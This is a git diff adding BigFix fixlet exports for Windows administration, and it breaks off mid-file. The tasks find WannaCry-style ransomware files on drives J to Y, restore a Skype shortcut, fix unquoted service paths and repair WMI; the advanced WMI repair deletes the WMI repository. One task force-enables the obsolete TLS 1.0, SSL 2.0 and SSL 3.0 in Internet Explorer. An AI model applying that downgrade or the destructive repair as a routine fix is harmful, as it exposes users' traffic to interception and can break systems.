diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes
new file mode 100644
index 000000000..49f4e5715
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on J Drive (24339).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on J Drive
+  ID       : 24339
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on J Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;J drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;j:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:41:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist j:\ransomware_list.txt del j:\ransomware_list.txt /q /f
+waithidden cmd /c dir j:\*.wn j:\*.wcry /a /s >j:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes
new file mode 100644
index 000000000..552d44fc5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on K Drive (24340).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on K Drive
+  ID       : 24340
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on K Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;K drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;k:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:41:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist k:\ransomware_list.txt del k:\ransomware_list.txt /q /f
+waithidden cmd /c dir k:\*.wn k:\*.wcry /a /s >k:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes
new file mode 100644
index 000000000..dbb0bd841
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on L Drive
+  ID       : 24341
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on L Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;L drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;l:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist l:\ransomware_list.txt del l:\ransomware_list.txt /q /f
+waithidden cmd /c dir l:\*.wn l:\*.wcry /a /s >l:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes
new file mode 100644
index 000000000..57ec1e794
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on M Drive
+  ID       : 24342
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on M Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;M drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;m:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist m:\ransomware_list.txt del m:\ransomware_list.txt /q /f
+waithidden cmd /c dir m:\*.wn m:\*.wcry /a /s >m:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes
new file mode 100644
index 000000000..cd14ee7a4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on N Drive
+  ID       : 24343
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on N Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;N drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;n:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist n:\ransomware_list.txt del n:\ransomware_list.txt /q /f
+waithidden cmd /c dir n:\*.wn n:\*.wcry /a /s >n:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes
new file mode 100644
index 000000000..b627a5863
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on O Drive
+  ID       : 24344
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on O Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;O drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;o:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:43:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist o:\ransomware_list.txt del o:\ransomware_list.txt /q /f
+waithidden cmd /c dir o:\*.wn o:\*.wcry /a /s >o:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes
new file mode 100644
index 000000000..950e7f5af
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on P Drive
+  ID       : 24345
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on P Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;P drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;p:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:43:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist p:\ransomware_list.txt del p:\ransomware_list.txt /q /f
+waithidden cmd /c dir p:\*.wn p:\*.wcry /a /s >p:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes
new file mode 100644
index 000000000..865b40e18
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on X Drive
+  ID       : 24346
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on X Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;X drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;x:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:44:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist x:\ransomware_list.txt del x:\ransomware_list.txt /q /f
+waithidden cmd /c dir x:\*.wn x:\*.wcry /a /s >x:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes
new file mode 100644
index 000000000..98979ea29
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on Y Drive
+  ID       : 24347
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on Y Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;Y drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;y:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:44:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist y:\ransomware_list.txt del y:\ransomware_list.txt /q /f
+waithidden cmd /c dir y:\*.wn y:\*.wcry /a /s >y:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes
new file mode 100644
index 000000000..65bdd2160
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Fix Skype shortcut missing from Start Menu
+  ID       : 741
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T14:47:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Fix Skype shortcut missing from Start Menu</Title>
+    <Description>Fix Skype shortcut missing from Start Menu </Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
+    <Relevance>exists key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Relevance>
+    <Relevance>(value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string as lowercase contains &quot;Skype.exe&quot; as lowercase</Relevance>
+    <Relevance>exists file ((value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string)</Relevance>
+    <Relevance>not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk&quot; AND not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype\Skype.lnk&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 04 Aug 2011 21:26:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete makeshortcut.vbs
+appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
+appendfile   sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk"
+appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
+appendfile   oLink.TargetPath = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
+appendfile   '    oLink.Arguments = ""
+appendfile   '    oLink.Description = "Skype"
+appendfile   '    oLink.HotKey = ""
+appendfile   '    oLink.IconLocation = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}, 2"
+appendfile   '    oLink.WindowStyle = "1"
+appendfile   '    oLink.WorkingDirectory = "{parent folder of file (value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
+appendfile   oLink.Save
+move __appendfile makeshortcut.vbs
+waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes
new file mode 100644
index 000000000..4aabbd8d6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix Unquoted Registry Paths (24886).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Fix Unquoted Registry Paths
+  ID       : 24886
+  Author   : CharlieJax
+  Domain   : BESC
+  Imported : 2018-01-16T20:09:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Fix Unquoted Registry Paths</Title>
+    <Description><![CDATA[This task will deploy: Fix Unquoted Registry Paths.<BR><BR>This task uses the PowerShell fix from: <A href="https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341">https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341</A>&nbsp;to correct the unquoted service paths with spaces.&nbsp; The relevance looks for machines with out a quote that have a space in the service path.]]></Description>
+    <Relevance>exists services whose (exists (image paths of it as lowercase) whose (it does not start with &quot;%22&quot; and preceding text of first &quot;.exe&quot; of it contains &quot; &quot;))</Relevance>
+    <Category>Software Distribution</Category>
+    <Source>Software Distribution Wizard</Source>
+    <SourceReleaseDate>2018-01-16</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jan 2018 17:26:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Download the powershell file from https://gallery.technet.microsoft.com/scriptcenter/Windows-Unquoted-Service-190f0341.  You will use that to update the unquoted paths.  Make sure to add that download command here either as a prefetch or download from Microsoft.
+run powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File __Download\fixpaths.ps1</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes
new file mode 100644
index 000000000..5cff0911a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix WMI Errors (3652).bes	
@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Fix WMI Errors
+  ID       : 3652
+  Author   : thetick
+  Domain   : BESC
+  Imported : 2013-11-05T11:30:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Fix WMI Errors</Title>
+    <Description><![CDATA[<P>Created By: Martin Carnegie<BR>Created: Nov 5, 2013<BR>Comments:<BR><FONT color=#ff0000><STRONG>NOTE: Please do testing of this fixlet before using in production as this could cause further issues with WMI!</STRONG></FONT></P>
+<P>This script contains two actions that can be used to fix WMI errors on Windows systems.<BR><BR>WMI Simple should be the first one used as it does not impact the system that much and seems to fix most issues. </P>
+<P>WMI Advanced should only be used if the WMI Simple does not fix the issue. This will require a reboot<BR><BR>Both wmi_simple and wmi_advanced were provided from a source at Microsoft, but I am unable to find that source.</P>]]></Description>
+    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
+    <Relevance>not exists wmi | true</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>martin@zaazee.ca</Source>
+    <SourceReleaseDate>2013-11-05</SourceReleaseDate>
+    <SourceSeverity>Repair WMI on Windows systems</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 05 Nov 2013 18:27:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy WMI Simple (Recommended).</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Simple
+delete __creatfile
+delete wmi_simple.bat
+
+createfile until __END
+
+cd %windir%\system32\wbem
+for /f %%s in ('dir /b *.dll') do regsvr32 /s %%s
+wmiprvse /regserver
+winmgmt /resyncperf
+winmgmt /salvagerepository
+for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s
+
+__END
+
+copy __createfile wmi_simple.bat
+
+waithidden cmd.exe /c wmi_simple.bat > {value of variable "temp" of environment}\wmi_simple.log 2>&1]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action3929">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy WMI Advanced.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// WMI Advanced
+delete __creatfile
+delete wmi_advanced.bat
+
+createfile until __END
+
+net stop winmgmt
+c:
+cd %systemroot%\system32\wbem
+rd /S /Q repository
+regsvr32 /s %systemroot%\system32\scecli.dll
+regsvr32 /s %systemroot%\system32\userenv.dll
+mofcomp cimwin32.mof
+mofcomp cimwin32.mfl
+mofcomp rsop.mof
+mofcomp rsop.mfl
+for /f %%s in ('dir /b /s *.dll') do regsvr32 /s %%s
+for /f %%s in ('dir /b *.mof') do mofcomp %%s
+for /f %%s in ('dir /b *.mfl') do mofcomp %%s
+echo DONE - you must reboot
+
+__END
+
+copy __createfile wmi_advanced.bat
+
+waithidden cmd.exe /c wmi_advanced.bat > {value of variable "temp" of environment}\wmi_advanced.log 2>&1
+
+//According to the MS script, the system should be restarted after the script is executed.
+action requires restart]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes b/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes
new file mode 100644
index 000000000..c6340c7da
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer (652).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer
+  ID       : 652
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-31T09:53:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer</Title>
+    <Description>Force Enable TLS 1.0, SSL 2.0 and SSL 3.0 in Internet Explorer on target machines. This must be run while the user(s) that you wish to enable these settings for is logged in.</Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 31 Oct 2012 14:53:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_USERS\{name of key whose (value &quot;Logon User Name&quot; of key &quot;Explorer&quot; of key &quot;CurrentVersion&quot; of key &quot;Windows&quot; of key &quot;Microsoft&quot; of key &quot;Software&quot; of it as string as lowercase = name of current user as string as lowercase) of key &quot;HKEY_USERS&quot; of registry}\Software\Microsoft\Windows\CurrentVersion\Internet Settings]&quot; &quot;SecureProtocols&quot;=dword:000000a8</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes b/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes
new file mode 100644
index 000000000..14d0cca92
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Force GP Update for Computer and Reboot (651).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Force GP Update for Computer and Reboot
+  ID       : 651
